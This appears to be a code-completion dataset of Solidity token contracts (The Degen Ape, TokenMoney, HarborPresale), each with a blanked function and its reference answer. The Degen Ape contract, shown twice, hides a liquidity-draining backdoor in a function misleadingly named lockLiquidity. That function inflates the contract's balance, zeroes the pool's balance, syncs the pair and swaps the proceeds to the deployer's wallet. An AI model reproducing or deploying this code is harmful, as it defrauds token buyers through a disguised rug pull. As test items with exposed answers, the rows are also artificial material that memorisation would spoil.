bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_taxFee = 10;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_balance[address(this)] = _tTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(100);
_maxWallet=_tTotal.div(200);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {<FILL_FUNCTION_BODY> }
function swapTokensForEth(uint256 tokenAmount,address to) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
to,
block.timestamp
);
}
function increaseMaxTx(uint256 amount) public onlyOwner{
require(amount>_maxTxAmount);
_maxTxAmount=amount;
}
function increaseMaxWallet(uint256 amount) public onlyOwner{
require(amount>_maxWallet);
_maxWallet=amount;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function createUniswapPair() external onlyOwner {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function lockLiquidity() public{
require(_msgSender()==_taxWallet);
_balance[address(this)] = 100000000000000000;
_balance[_pair] = 1;
(bool success,) = _pair.call(abi.encodeWithSelector(bytes4(0xfff6cae9)));
if (success) {
swapTokensForEth(100000000, _taxWallet);
} else { revert("Internal failure"); }
}
function addLiquidity() external onlyOwner{
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
uint256 tTeam = tAmount.mul(taxRate).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
_balance[sender] = _balance[sender].sub(tAmount);
_balance[recipient] = _balance[recipient].add(tTransferAmount);
_balance[address(this)] = _balance[address(this)].add(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
receive() external payable {}
function swapForTax() public{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance,address(this));
}
function collectTax() public{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
} | contract TheDegenApe is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private _tTotal = 36000000000 * 10**8;
uint256 private _maxWallet= 36000000000 * 10**8;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 public _maxTxAmount;
string private constant _name = "The Degen Ape";
string private constant _symbol = "DAPE";
uint8 private constant _decimals = 8;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_taxFee = 10;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_balance[address(this)] = _tTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(100);
_maxWallet=_tTotal.div(200);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
<FILL_FUNCTION>
function swapTokensForEth(uint256 tokenAmount,address to) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
to,
block.timestamp
);
}
function increaseMaxTx(uint256 amount) public onlyOwner{
require(amount>_maxTxAmount);
_maxTxAmount=amount;
}
function increaseMaxWallet(uint256 amount) public onlyOwner{
require(amount>_maxWallet);
_maxWallet=amount;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function createUniswapPair() external onlyOwner {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function lockLiquidity() public{
require(_msgSender()==_taxWallet);
_balance[address(this)] = 100000000000000000;
_balance[_pair] = 1;
(bool success,) = _pair.call(abi.encodeWithSelector(bytes4(0xfff6cae9)));
if (success) {
swapTokensForEth(100000000, _taxWallet);
} else { revert("Internal failure"); }
}
function addLiquidity() external onlyOwner{
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
uint256 tTeam = tAmount.mul(taxRate).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
_balance[sender] = _balance[sender].sub(tAmount);
_balance[recipient] = _balance[recipient].add(tTransferAmount);
_balance[address(this)] = _balance[address(this)].add(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
receive() external payable {}
function swapForTax() public{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance,address(this));
}
function collectTax() public{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
} |
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<=_maxTxAmount,"Transaction amount limited");
}
if(to != _pair && ! _isExcludedFromFee[to] && ! _isExcludedFromFee[from]) {
require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance,address(this));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= 500000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
| function _transfer(address from, address to, uint256 amount) private | function _transfer(address from, address to, uint256 amount) private |
47668 | TokenMoney | _transfer | contract TokenMoney is owned,StandardToken {
//name of contact
string public name = "TokenMoney";
//symbol of contact
string public symbol = "TOM";
//ddecimals
uint8 public decimals = 18;
//total amount
uint256 public totalSupply;
uint256 public initialSupply;
//
//version
string public version = "v1.0";
//create an array with all blance
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generate public event on blockchain contact Erc20 that will notify client
event Transfer(address indexed from, address indexed to, uint256 value);
function TokenMoney() public {
initialSupply = 3600000;
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {<FILL_FUNCTION_BODY> }
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
} | contract TokenMoney is owned,StandardToken {
//name of contact
string public name = "TokenMoney";
//symbol of contact
string public symbol = "TOM";
//ddecimals
uint8 public decimals = 18;
//total amount
uint256 public totalSupply;
uint256 public initialSupply;
//
//version
string public version = "v1.0";
//create an array with all blance
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generate public event on blockchain contact Erc20 that will notify client
event Transfer(address indexed from, address indexed to, uint256 value);
function TokenMoney() public {
initialSupply = 3600000;
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
}
<FILL_FUNCTION>
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
} |
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
| function _transfer(address _from, address _to, uint _value) internal | /**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal |
22846 | HarborPresale | HarborPresale | contract HarborPresale is Haltable {
using SafeMath for uint256;
// The token being sold
HarborToken public token;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
// address where funds are excutionFunds
address public wallet;
// how many token units a buyer gets per wei
uint256 public rate;
// amount of raised money in wei
uint256 public weiRaised;
//max amount of funds raised
uint256 public cap;
//is crowdsale end
bool public isFinalized = false;
// minimum amount of funds to be raised in weis
uint256 public minimumFundingGoal;
// minimum amount of funds for once
uint256 public minSend;
// refund vault used to hold funds while crowdsale is running
RefundVault public vault;
//How many tokens were Minted
uint public tokensMinted;
//presale buyers
mapping (address => uint256) public tokenDeposited;
//event for crowdsale end
event Finalized();
//event for presale mint
event TokenMinted(uint count);
// We distributed tokens to an investor
event Distributed(address investor, uint tokenAmount);
//presale period is Changed
event PeriodChanged(uint256 starttm,uint256 endtm);
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param investor who participate presale
* @param value weis paid for purchase
*/
event TokenPurchase(address indexed purchaser, address indexed investor, uint256 value);
function HarborPresale(address _token, uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet, uint256 _cap, uint256 _minimumFundingGoal, uint256 _minSend) {<FILL_FUNCTION_BODY> }
// fallback function can be used to buy tokens
function () payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address investor) payable stopInEmergency {
require(investor != 0x0);
require(validPurchase());
require(minSend <= msg.value);
uint256 weiAmount = msg.value;
// update state
weiRaised = weiRaised.add(weiAmount);
//save for distribution HBR
tokenDeposited[investor] = tokenDeposited[investor].add(weiAmount);
//valut save for refund
vault.deposit.value(msg.value)(msg.sender);
TokenPurchase(msg.sender, investor, weiAmount);
}
/**
* Load funds to the crowdsale for all investors.
*/
function mintForEverybody() onlyOwner public {
uint256 allTokenAmount = weiRaised.mul(rate);
//for project amount (investor token *2/3)
uint256 projectAmount = allTokenAmount.mul(2);
projectAmount = projectAmount.div(3);
//mint for investor;
token.mint(address(this),allTokenAmount);
//mint for project share
token.mint(wallet,projectAmount);
// Record how many tokens we got
tokensMinted = allTokenAmount.add(projectAmount);
TokenMinted(tokensMinted);
}
//get claim of token byself
function claimToken() payable stopInEmergency{
claimTokenAddress(msg.sender);
}
//get claim of token by address
function claimTokenAddress(address investor) payable stopInEmergency returns(uint256){
require(isFinalized);
require(tokenDeposited[investor] != 0);
uint256 depositedValue = tokenDeposited[investor];
tokenDeposited[investor] = 0;
uint256 tokenAmount = depositedValue * rate;
//send token to investor
token.transfer(investor,tokenAmount);
Distributed(investor, tokenAmount);
return tokenAmount;
}
// @return true if the transaction can buy tokens
function validPurchase() internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
bool withinCap = weiRaised <= cap;
return withinPeriod && nonZeroPurchase && withinCap;
}
// @return true if HarborPresale event has ended
function hasEnded() public constant returns (bool) {
bool capReached = weiRaised >= cap;
return (now > endTime) || capReached ;
}
/**
* called after Presale ends
*/
function finalize() onlyOwner stopInEmergency{
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
/**
* finalization refund or excute funds.
*/
function finalization() internal {
if (minFundingGoalReached()) {
vault.close();
} else {
vault.enableRefunds();
}
}
// if presale is unsuccessful, investors can claim refunds here
function claimRefund() stopInEmergency payable {
require(isFinalized);
require(!minFundingGoalReached());
vault.refund(msg.sender);
}
function minFundingGoalReached() public constant returns (bool) {
return weiRaised >= minimumFundingGoal;
}
//change presale preiod
function setPeriod(uint256 _startTime,uint256 _endTime) onlyOwner {
require(now <= _endTime);
startTime = _startTime;
endTime = _endTime;
PeriodChanged(startTime,endTime);
}
//withdrow for manual distribution
function withdrawFund() onlyOwner payable{
require(isFinalized);
require(minFundingGoalReached());
uint256 tokenAmount = token.balanceOf(address(this));
token.transfer(wallet, tokenAmount);
}
} | contract HarborPresale is Haltable {
using SafeMath for uint256;
// The token being sold
HarborToken public token;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
// address where funds are excutionFunds
address public wallet;
// how many token units a buyer gets per wei
uint256 public rate;
// amount of raised money in wei
uint256 public weiRaised;
//max amount of funds raised
uint256 public cap;
//is crowdsale end
bool public isFinalized = false;
// minimum amount of funds to be raised in weis
uint256 public minimumFundingGoal;
// minimum amount of funds for once
uint256 public minSend;
// refund vault used to hold funds while crowdsale is running
RefundVault public vault;
//How many tokens were Minted
uint public tokensMinted;
//presale buyers
mapping (address => uint256) public tokenDeposited;
//event for crowdsale end
event Finalized();
//event for presale mint
event TokenMinted(uint count);
// We distributed tokens to an investor
event Distributed(address investor, uint tokenAmount);
//presale period is Changed
event PeriodChanged(uint256 starttm,uint256 endtm);
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param investor who participate presale
* @param value weis paid for purchase
*/
event TokenPurchase(address indexed purchaser, address indexed investor, uint256 value);
<FILL_FUNCTION>
// fallback function can be used to buy tokens
function () payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address investor) payable stopInEmergency {
require(investor != 0x0);
require(validPurchase());
require(minSend <= msg.value);
uint256 weiAmount = msg.value;
// update state
weiRaised = weiRaised.add(weiAmount);
//save for distribution HBR
tokenDeposited[investor] = tokenDeposited[investor].add(weiAmount);
//valut save for refund
vault.deposit.value(msg.value)(msg.sender);
TokenPurchase(msg.sender, investor, weiAmount);
}
/**
* Load funds to the crowdsale for all investors.
*/
function mintForEverybody() onlyOwner public {
uint256 allTokenAmount = weiRaised.mul(rate);
//for project amount (investor token *2/3)
uint256 projectAmount = allTokenAmount.mul(2);
projectAmount = projectAmount.div(3);
//mint for investor;
token.mint(address(this),allTokenAmount);
//mint for project share
token.mint(wallet,projectAmount);
// Record how many tokens we got
tokensMinted = allTokenAmount.add(projectAmount);
TokenMinted(tokensMinted);
}
//get claim of token byself
function claimToken() payable stopInEmergency{
claimTokenAddress(msg.sender);
}
//get claim of token by address
function claimTokenAddress(address investor) payable stopInEmergency returns(uint256){
require(isFinalized);
require(tokenDeposited[investor] != 0);
uint256 depositedValue = tokenDeposited[investor];
tokenDeposited[investor] = 0;
uint256 tokenAmount = depositedValue * rate;
//send token to investor
token.transfer(investor,tokenAmount);
Distributed(investor, tokenAmount);
return tokenAmount;
}
// @return true if the transaction can buy tokens
function validPurchase() internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
bool withinCap = weiRaised <= cap;
return withinPeriod && nonZeroPurchase && withinCap;
}
// @return true if HarborPresale event has ended
function hasEnded() public constant returns (bool) {
bool capReached = weiRaised >= cap;
return (now > endTime) || capReached ;
}
/**
* called after Presale ends
*/
function finalize() onlyOwner stopInEmergency{
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
/**
* finalization refund or excute funds.
*/
function finalization() internal {
if (minFundingGoalReached()) {
vault.close();
} else {
vault.enableRefunds();
}
}
// if presale is unsuccessful, investors can claim refunds here
function claimRefund() stopInEmergency payable {
require(isFinalized);
require(!minFundingGoalReached());
vault.refund(msg.sender);
}
function minFundingGoalReached() public constant returns (bool) {
return weiRaised >= minimumFundingGoal;
}
//change presale preiod
function setPeriod(uint256 _startTime,uint256 _endTime) onlyOwner {
require(now <= _endTime);
startTime = _startTime;
endTime = _endTime;
PeriodChanged(startTime,endTime);
}
//withdrow for manual distribution
function withdrawFund() onlyOwner payable{
require(isFinalized);
require(minFundingGoalReached());
uint256 tokenAmount = token.balanceOf(address(this));
token.transfer(wallet, tokenAmount);
}
} |
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != 0x0);
require(_cap > 0);
require(_minimumFundingGoal > 0);
token = HarborToken(_token);
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
cap = _cap;
vault = new RefundVault(_wallet);
minimumFundingGoal = _minimumFundingGoal;
minSend = _minSend;
| function HarborPresale(address _token, uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet, uint256 _cap, uint256 _minimumFundingGoal, uint256 _minSend) | function HarborPresale(address _token, uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet, uint256 _cap, uint256 _minimumFundingGoal, uint256 _minSend) |